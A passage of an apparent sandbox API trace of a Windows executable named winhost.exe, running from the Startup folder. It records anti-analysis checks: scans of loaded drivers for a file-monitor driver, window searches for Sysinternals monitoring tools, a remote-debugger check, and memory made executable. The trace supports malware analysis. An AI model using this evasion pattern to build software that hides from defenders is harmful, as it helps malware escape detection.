(lpString1="FileMonitor.sys", lpString2="drmk.sys") returned 1 [0260.056] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ksthunk.sys") returned -1 [0260.056] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="crashdmp.sys") returned 1 [0260.057] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="dump_dumpata.sy") returned 1 [0260.057] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="dump_msahci.sys") returned 1 [0260.057] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="dump_dumpfve.sy") returned 1 [0260.057] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="win32k.sys") returned -1 [0260.057] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Dxapi.sys") returned 1 [0260.057] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="dxg.sys") returned 1 [0260.057] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="monitor.sys") returned -1 [0260.057] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="TSDDD.dll") returned -1 [0260.057] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="framebuf.dll") returned -1 [0260.057] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="hidusb.sys") returned -1 [0260.057] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="HIDCLASS.SYS") returned -1 [0260.057] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="HIDPARSE.SYS") returned -1 [0260.057] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="USBD.SYS") returned -1 [0260.057] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="kbdhid.sys") returned -1 [0260.057] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="luafv.sys") returned -1 [0260.057] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mouhid.sys") returned -1 [0260.057] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="lltdio.sys") returned -1 [0260.057] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rspndr.sys") returned -1 [0260.057] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="HTTP.sys") returned -1 [0260.057] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="bowser.sys") returned 1 [0260.057] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mpsdrv.sys") returned -1 [0260.057] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mrxsmb.sys") returned -1 [0260.057] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mrxsmb10.sys") returned -1 [0260.057] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mrxsmb20.sys") returned -1 [0260.057] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ntdll.dll") returned -1 [0260.057] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="smss.exe") returned -1 [0260.057] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="apisetschema.dl") returned 1 [0260.058] lstrcmpiA (lpString1="Filem", lpString2="ntosk") returned -1 [0260.058] lstrcmpiA (lpString1="Filem", lpString2="hal.d") returned -1 [0260.058] lstrcmpiA (lpString1="Filem", lpString2="kdcom") returned -1 [0260.058] lstrcmpiA (lpString1="Filem", lpString2="mcupd") returned -1 [0260.058] lstrcmpiA (lpString1="Filem", lpString2="PSHED") returned -1 [0260.059] lstrcmpiA (lpString1="Filem", lpString2="CLFS.") returned 1 [0260.059] lstrcmpiA (lpString1="Filem", lpString2="CI.dl") returned 1 [0260.059] lstrcmpiA (lpString1="Filem", lpString2="Wdf01") returned -1 [0260.059] lstrcmpiA (lpString1="Filem", lpString2="WDFLD") returned -1 [0260.059] lstrcmpiA (lpString1="Filem", lpString2="ACPI.") returned 1 [0260.059] lstrcmpiA (lpString1="Filem", lpString2="WMILI") returned -1 [0260.059] lstrcmpiA (lpString1="Filem", lpString2="msisa") returned -1 [0260.059] lstrcmpiA (lpString1="Filem", lpString2="pci.s") returned -1 [0260.059] lstrcmpiA (lpString1="Filem", lpString2="vdrvr") returned -1 [0260.059] lstrcmpiA (lpString1="Filem", lpString2="partm") returned -1 [0260.059] lstrcmpiA (lpString1="Filem", lpString2="volmg") returned -1 [0260.059] lstrcmpiA (lpString1="Filem", lpString2="volmg") returned -1 [0260.059] lstrcmpiA (lpString1="Filem", lpString2="mount") returned -1 [0260.059] lstrcmpiA (lpString1="Filem", lpString2="atapi") returned 1 [0260.059] lstrcmpiA (lpString1="Filem", lpString2="atapo") returned 1 [0260.059] lstrcmpiA (lpString1="Filem", lpString2="msahc") returned -1 [0260.059] lstrcmpiA (lpString1="Filem", lpString2="PCIID") returned -1 [0260.059] lstrcmpiA (lpString1="Filem", lpString2="amdxa") returned 1 [0260.059] lstrcmpiA (lpString1="Filem", lpString2="fltmg") returned -1 [0260.059] lstrcmpiA (lpString1="Filem", lpString2="filei") returned 1 [0260.059] lstrcmpiA (lpString1="Filem", lpString2="Ntfs.") returned -1 [0260.059] lstrcmpiA (lpString1="Filem", lpString2="msrpc") returned -1 [0260.059] lstrcmpiA (lpString1="Filem", lpString2="ksecd") returned -1 [0260.059] lstrcmpiA (lpString1="Filem", lpString2="cng.s") returned 1 [0260.059] lstrcmpiA (lpString1="Filem", lpString2="pcw.s") returned -1 [0260.060] lstrcmpiA (lpString1="Filem", lpString2="Fs_Re") returned -1 [0260.060] lstrcmpiA (lpString1="Filem", lpString2="ndis.") returned -1 [0260.060] lstrcmpiA (lpString1="Filem", lpString2="NETIO") returned -1 [0260.060] lstrcmpiA (lpString1="Filem", lpString2="ksecp") returned -1 [0260.060] lstrcmpiA (lpString1="Filem", lpString2="tcpip") returned -1 [0260.060] lstrcmpiA (lpString1="Filem", lpString2="fwpkc") returned -1 [0260.060] lstrcmpiA (lpString1="Filem", lpString2="vmsto") returned -1 [0260.060] lstrcmpiA (lpString1="Filem", lpString2="volsn") returned -1 [0260.060] lstrcmpiA (lpString1="Filem", lpString2="spldr") returned -1 [0260.060] lstrcmpiA (lpString1="Filem", lpString2="rdybo") returned -1 [0260.060] lstrcmpiA (lpString1="Filem", lpString2="mup.s") returned -1 [0260.060] lstrcmpiA (lpString1="Filem", lpString2="hwpol") returned -1 [0260.060] lstrcmpiA (lpString1="Filem", lpString2="fvevo") returned -1 [0260.060] lstrcmpiA (lpString1="Filem", lpString2="disk.") returned 1 [0260.060] lstrcmpiA (lpString1="Filem", lpString2="CLASS") returned 1 [0260.060] lstrcmpiA (lpString1="Filem", lpString2="Null.") returned -1 [0260.060] lstrcmpiA (lpString1="Filem", lpString2="Beep.") returned 1 [0260.060] lstrcmpiA (lpString1="Filem", lpString2="vga.s") returned -1 [0260.060] lstrcmpiA (lpString1="Filem", lpString2="VIDEO") returned -1 [0260.060] lstrcmpiA (lpString1="Filem", lpString2="watch") returned -1 [0260.060] lstrcmpiA (lpString1="Filem", lpString2="RDPCD") returned -1 [0260.060] lstrcmpiA (lpString1="Filem", lpString2="rdpen") returned -1 [0260.060] lstrcmpiA (lpString1="Filem", lpString2="rdpre") returned -1 [0260.060] lstrcmpiA (lpString1="Filem", lpString2="Msfs.") returned -1 [0260.060] lstrcmpiA (lpString1="Filem", lpString2="Npfs.") returned -1 [0260.060] lstrcmpiA (lpString1="Filem", lpString2="tdx.s") returned -1 [0260.060] lstrcmpiA (lpString1="Filem", lpString2="TDI.S") returned -1 [0260.060] lstrcmpiA (lpString1="Filem", lpString2="afd.s") returned 1 [0260.061] lstrcmpiA (lpString1="Filem", lpString2="netbt") returned -1 [0260.061] lstrcmpiA (lpString1="Filem", lpString2="wfplw") returned -1 [0260.061] lstrcmpiA (lpString1="Filem", lpString2="pacer") returned -1 [0260.061] lstrcmpiA (lpString1="Filem", lpString2="netbi") returned -1 [0260.061] lstrcmpiA (lpString1="Filem", lpString2="wanar") returned -1 [0260.061] lstrcmpiA (lpString1="Filem", lpString2="termd") returned -1 [0260.061] lstrcmpiA (lpString1="Filem", lpString2="rdbss") returned -1 [0260.061] lstrcmpiA (lpString1="Filem", lpString2="nsipr") returned -1 [0260.061] lstrcmpiA (lpString1="Filem", lpString2="mssmb") returned -1 [0260.061] lstrcmpiA (lpString1="Filem", lpString2="disca") returned 1 [0260.061] lstrcmpiA (lpString1="Filem", lpString2="csc.s") returned 1 [0260.061] lstrcmpiA (lpString1="Filem", lpString2="dfsc.") returned 1 [0260.061] lstrcmpiA (lpString1="Filem", lpString2="blbdr") returned 1 [0260.061] lstrcmpiA (lpString1="Filem", lpString2="tunne") returned -1 [0260.061] lstrcmpiA (lpString1="Filem", lpString2="vgapn") returned -1 [0260.061] lstrcmpiA (lpString1="Filem", lpString2="HDAud") returned -1 [0260.061] lstrcmpiA (lpString1="Filem", lpString2="usbeh") returned -1 [0260.061] lstrcmpiA (lpString1="Filem", lpString2="USBPO") returned -1 [0260.061] lstrcmpiA (lpString1="Filem", lpString2="E1G60") returned 1 [0260.061] lstrcmpiA (lpString1="Filem", lpString2="intel") returned -1 [0260.061] lstrcmpiA (lpString1="Filem", lpString2="Compo") returned 1 [0260.061] lstrcmpiA (lpString1="Filem", lpString2="Agile") returned 1 [0260.061] lstrcmpiA (lpString1="Filem", lpString2="rasl2") returned -1 [0260.061] lstrcmpiA (lpString1="Filem", lpString2="ndist") returned -1 [0260.061] lstrcmpiA (lpString1="Filem", lpString2="ndisw") returned -1 [0260.061] lstrcmpiA (lpString1="Filem", lpString2="raspp") returned -1 [0260.061] lstrcmpiA (lpString1="Filem", lpString2="raspp") returned -1 [0260.062] lstrcmpiA (lpString1="Filem", lpString2="rasss") returned -1 [0260.062] lstrcmpiA (lpString1="Filem", lpString2="rdpbu") returned -1 [0260.062] lstrcmpiA (lpString1="Filem", lpString2="kbdcl") returned -1 [0260.062] lstrcmpiA (lpString1="Filem", lpString2="moucl") returned -1 [0260.062] lstrcmpiA (lpString1="Filem", lpString2="swenu") returned -1 [0260.062] lstrcmpiA (lpString1="Filem", lpString2="ks.sy") returned -1 [0260.062] lstrcmpiA (lpString1="Filem", lpString2="umbus") returned -1 [0260.062] lstrcmpiA (lpString1="Filem", lpString2="usbhu") returned -1 [0260.062] lstrcmpiA (lpString1="Filem", lpString2="NDPro") returned -1 [0260.062] lstrcmpiA (lpString1="Filem", lpString2="HdAud") returned -1 [0260.062] lstrcmpiA (lpString1="Filem", lpString2="portc") returned -1 [0260.062] lstrcmpiA (lpString1="Filem", lpString2="drmk.") returned 1 [0260.062] lstrcmpiA (lpString1="Filem", lpString2="ksthu") returned -1 [0260.062] lstrcmpiA (lpString1="Filem", lpString2="crash") returned 1 [0260.062] lstrcmpiA (lpString1="Filem", lpString2="dump_") returned 1 [0260.062] lstrcmpiA (lpString1="Filem", lpString2="dump_") returned 1 [0260.062] lstrcmpiA (lpString1="Filem", lpString2="dump_") returned 1 [0260.062] lstrcmpiA (lpString1="Filem", lpString2="win32") returned -1 [0260.062] lstrcmpiA (lpString1="Filem", lpString2="Dxapi") returned 1 [0260.062] lstrcmpiA (lpString1="Filem", lpString2="dxg.s") returned 1 [0260.062] lstrcmpiA (lpString1="Filem", lpString2="monit") returned -1 [0260.062] lstrcmpiA (lpString1="Filem", lpString2="TSDDD") returned -1 [0260.062] lstrcmpiA (lpString1="Filem", lpString2="frame") returned -1 [0260.062] lstrcmpiA (lpString1="Filem", lpString2="hidus") returned -1 [0260.062] lstrcmpiA (lpString1="Filem", lpString2="HIDCL") returned -1 [0260.062] lstrcmpiA (lpString1="Filem", lpString2="HIDPA") returned -1 [0260.062] lstrcmpiA (lpString1="Filem", lpString2="USBD.") returned -1 [0260.063] lstrcmpiA (lpString1="Filem", lpString2="kbdhi") returned -1 [0260.063] lstrcmpiA (lpString1="Filem", lpString2="luafv") returned -1 [0260.063] lstrcmpiA (lpString1="Filem", lpString2="mouhi") returned -1 [0260.063] lstrcmpiA (lpString1="Filem", lpString2="lltdi") returned -1 [0260.063] lstrcmpiA (lpString1="Filem", lpString2="rspnd") returned -1 [0260.063] lstrcmpiA (lpString1="Filem", lpString2="HTTP.") returned -1 [0260.063] lstrcmpiA (lpString1="Filem", lpString2="bowse") returned 1 [0260.063] lstrcmpiA (lpString1="Filem", lpString2="mpsdr") returned -1 [0260.063] lstrcmpiA (lpString1="Filem", lpString2="mrxsm") returned -1 [0260.063] lstrcmpiA (lpString1="Filem", lpString2="mrxsm") returned -1 [0260.063] lstrcmpiA (lpString1="Filem", lpString2="mrxsm") returned -1 [0260.065] FindWindowA (lpClassName="RegmonClass", lpWindowName=0x0) returned 0x0 [0260.065] FindWindowA (lpClassName=0x0, lpWindowName="Registry Monitor - Sysinternals: www.sysinternals.com") returned 0x0 [0260.065] FindWindowA (lpClassName="18467-41", lpWindowName=0x0) returned 0x0 [0260.065] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x240000 [0260.065] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77350000 [0260.066] GetProcAddress (hModule=0x77350000, lpProcName="NtQuerySystemInformation") returned 0x7736fda0 [0260.066] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x240000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x240000, ResultLength=0x0) returned 0x0 [0260.071] VirtualProtect (in: lpAddress=0x773ef7ea, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x6aed9b | out: lpflOldProtect=0x6aed9b*=0x20) returned 1 [0260.071] VirtualProtect (in: lpAddress=0x773ef7ea, dwSize=0x1000, flNewProtect=0x20, lpflOldProtect=0x6aed9f | out: lpflOldProtect=0x6aed9f*=0x40) returned 1 [0260.071] VirtualProtect (in: lpAddress=0x7736000c, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x6aed9b | out: lpflOldProtect=0x6aed9b*=0x20) returned 1 [0260.072] GetCurrentDirectoryA (in: nBufferLength=0x104, lpBuffer=0x493931 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0260.072] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x6b2aee, nSize=0x100 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\winhost.exe")) returned 0x67 [0260.072] SetCurrentDirectoryA (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup")) returned 1 [0260.072] GetProcAddress (hModule=0x77350000, lpProcName="RtlAllocateHeap") returned 0x7737e026 [0260.073] GetVersion () returned 0x1db10106 [0260.073] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x240000 [0260.073] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75590000 [0260.073] LoadLibraryA (lpLibFileName="user32.dll") returned 0x758a0000 [0260.073] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x74fa0000 [0260.073] LoadLibraryA (lpLibFileName="oleaut32.dll") returned 0x76de0000 [0260.076] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75590000 [0260.076] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x74fa0000 [0260.077] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75590000 [0260.077] LoadLibraryA (lpLibFileName="version.dll") returned 0x74e30000 [0260.078] LoadLibraryA (lpLibFileName="gdi32.dll") returned 0x76940000 [0260.078] LoadLibraryA (lpLibFileName="user32.dll") returned 0x758a0000 [0260.078] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75590000 [0260.078] LoadLibraryA (lpLibFileName="oleaut32.dll") returned 0x76de0000 [0260.078] LoadLibraryA (lpLibFileName="comctl32.dll") returned 0x74da0000 [0260.082] LoadLibraryA (lpLibFileName="comdlg32.dll") returned 0x76ed0000 [0260.087] SetCurrentDirectoryA (lpPathName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32")) returned 1 [0260.106] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x493931, nSize=0x200 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\winhost.exe")) returned 0x67 [0260.106] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\winhost.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xb0 [0260.106] CreateFileMappingA (hFile=0xb0, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0xf8 [0260.106] MapViewOfFile (hFileMappingObject=0xf8, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x24e0000 [0260.140] VirtualAlloc (lpAddress=0x0, dwSize=0x1f1000, flAllocationType=0x1000, flProtect=0x4) returned 0x26e0000 [0262.088] FreeLibrary (hLibModule=0x0) returned 0 [0262.088] VirtualFree (lpAddress=0x26e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0262.095] UnmapViewOfFile (lpBaseAddress=0x24e0000) returned 1 [0262.146] CloseHandle (hObject=0xf8) returned 1 [0262.146] CloseHandle (hObject=0xb0) returned 1 [0262.146] GetLocalTime (in: lpSystemTime=0x6c9d3c | out: lpSystemTime=0x6c9d3c*(wYear=0x7e3, wMonth=0x1, wDayOfWeek=0x6, wDay=0x13, wHour=0xb, wMinute=0x38, wSecond=0x39, wMilliseconds=0x10f)) [0262.146] VirtualAlloc (lpAddress=0x0, dwSize=0x30d40, flAllocationType=0x1000, flProtect=0x4) returned 0x350000 [0262.148] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x1000, flProtect=0x4) returned 0x250000 [0262.148] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x49558d | out: lpflOldProtect=0x49558d*=0x2) returned 1 [0262.149] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x6d3e62 | out: Wow64Process=0x6d3e62) returned 1 [0262.153] CheckRemoteDebuggerPresent (in: hProcess=0xffffffff, pbDebuggerPresent=0x6d9a19 | out: pbDebuggerPresent=0x6d9a19) returned 1 [0262.168] VirtualProtect (in: lpAddress=0x401000, dwSize=0x30000, flNewProtect=0x40, lpflOldProtect=0x49558d | out: lpflOldProtect=0x49558d*=0x80) returned 1 [0262.258] FindWindowA (lpClassName="FilemonClass", lpWindowName=0x0) returned 0x0 [0262.258] FindWindowA (lpClassName=0x0, lpWindowName="File Monitor - Sysinternals: www.sysinternals.com") returned 0x0 [0262.258] FindWindowA (lpClassName="PROCMON_WINDOW_CLASS", lpWindowName=0x0) returned 0x0 [0262.258] FindWindowA (lpClassName=0x0, lpWindowName="Process Monitor - Sysinternals: www.sysinternals.com") returned 0x0 [0262.258] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x270000 [0262.258] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77350000 [0262.259] GetProcAddress (hModule=0x77350000, lpProcName="NtQuerySystemInformation") returned 0x7736fda0 [0262.259] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x270000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x270000, ResultLength=0x0) returned 0x0 [0262.259] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ntoskrnl.exe") returned -1 [0262.259] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="hal.dll") returned -1 [0262.259] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="kdcom.dll") returned -1 [0262.259] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mcupdate_Genuin") returned -1 [0262.259] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="PSHED.dll") returned -1 [0262.259] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="CLFS.SYS") returned 1 [0262.259] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="CI.dll") returned 1 [0262.259] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Wdf01000.sys") returned -1 [0262.259] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="WDFLDR.SYS") returned -1 [0262.259] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ACPI.sys") returned 1 [0262.260] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="WMILIB.SYS") returned -1 [0262.260] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="msisadrv.sys") returned -1 [0262.260] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="pci.sys") returned -1 [0262.260] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="vdrvroot.sys") returned -1 [0262.260] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="partmgr.sys") returned -1 [0262.260] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="volmgr.sys") returned -1 [0262.260] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="volmgrx.sys") returned -1 [0262.260] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mountmgr.sys") returned -1 [0262.260] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="atapi.sys") returned 1 [0262.260] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ataport.SYS") returned 1 [0262.260] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="msahci.sys") returned -1 [0262.260] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="PCIIDEX.SYS") returned -1 [0262.260] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="amdxata.sys") returned 1 [0262.260] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="fltmgr.sys") returned -1 [0262.260] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="fileinfo.sys") returned 1 [0262.260] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Ntfs.sys") returned -1 [0262.260] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="msrpc.sys") returned -1 [0262.260] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ksecdd.sys") returned -1 [0262.260] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="cng.sys") returned 1 [0262.260] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="pcw.sys") returned -1 [0262.260] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Fs_Rec.sys") returned -1 [0262.260] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ndis.sys") returned -1 [0262.260] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="NETIO.SYS") returned -1 [0262.260] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ksecpkg.sys") returned -1 [0262.260] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="tcpip.sys") returned -1 [0262.260] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="fwpkclnt.sys") returned -1 [0262.261] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="vmstorfl.sys") returned -1 [0262.261] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="volsnap.sys") returned -1 [0262.261] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="spldr.sys") returned -1 [0262.261] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rdyboost.sys") returned -1 [0262.261] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mup.sys") returned -1 [0262.261] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="hwpolicy.sys") returned -1 [0262.261] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="fvevol.sys") returned -1 [0262.261] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="disk.sys") returned 1 [0262.261] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="CLASSPNP.SYS") returned 1 [0262.261] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Null.SYS") returned -1 [0262.261] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Beep.SYS") returned 1 [0262.261] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="vga.sys") returned -1 [0262.261] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="VIDEOPRT.SYS") returned -1 [0262.261] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="watchdog.sys") returned -1 [0262.261] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="RDPCDD.sys") returned -1 [0262.261] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rdpencdd.sys") returned -1 [0262.261] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rdprefmp.sys") returned -1 [0262.261] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Msfs.SYS") returned -1 [0262.261] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Npfs.SYS") returned -1 [0262.261] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="tdx.sys") returned -1 [0262.261] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="TDI.SYS") returned -1 [0262.261] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="afd.sys") returned 1 [0262.261] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="netbt.sys") returned -1 [0262.261] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="wfplwf.sys") returned -1 [0262.261] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="pacer.sys") returned -1 [0262.261] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="netbios.sys") returned -1 [0262.262] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="wanarp.sys") returned -1 [0262.262] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="termdd.sys") returned -1 [0262.262] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rdbss.sys") returned -1 [0262.262] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="nsiproxy.sys") returned -1 [0262.262] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mssmbios.sys") returned -1 [0262.262] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="discache.sys") returned 1 [0262.262] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="csc.sys") returned 1 [0262.262] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="dfsc.sys") returned 1 [0262.262] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="blbdrive.sys") returned 1 [0262.262] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="tunnel.sys") returned -1 [0262.262] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="vgapnp.sys") returned -1 [0262.262] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="HDAudBus.sys") returned -1 [0262.262] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="usbehci.sys") returned -1 [0262.262] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="USBPORT.SYS") returned -1 [0262.262] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="E1G6032E.sys") returned 1 [0262.262] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="intelppm.sys") returned -1 [0262.262] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="CompositeBus.sy") returned 1 [0262.262] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="AgileVpn.sys") returned 1 [0262.262] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rasl2tp.sys") returned -1 [0262.262] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ndistapi.sys") returned -1 [0262.262] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ndiswan.sys") returned -1 [0262.262] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="raspppoe.sys") returned -1 [0262.263] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="raspptp.sys") returned -1 [0262.263] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rassstp.sys") returned -1 [0262.263] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rdpbus.sys") returned -1 [0262.263] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="kbdclass.sys") returned -1 [0262.263] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mouclass.sys") returned -1 [0262.263] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="swenum.sys") returned -1 [0262.263] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ks.sys") returned -1 [0262.263] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="umbus.sys") returned -1 [0262.263] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="usbhub.sys") returned -1 [0262.263] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="NDProxy.SYS") returned -1 [0262.263] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="HdAudio.sys") returned -1 [0262.263] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="portcls.sys") returned -1 [0262.263] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="drmk.sys") returned 1 [0262.263] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ksthunk.sys") returned -1 [0262.263] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="crashdmp.sys") returned 1 [0262.263] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="dump_dumpata.sy") returned 1 [0262.263] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="dump_msahci.sys") returned 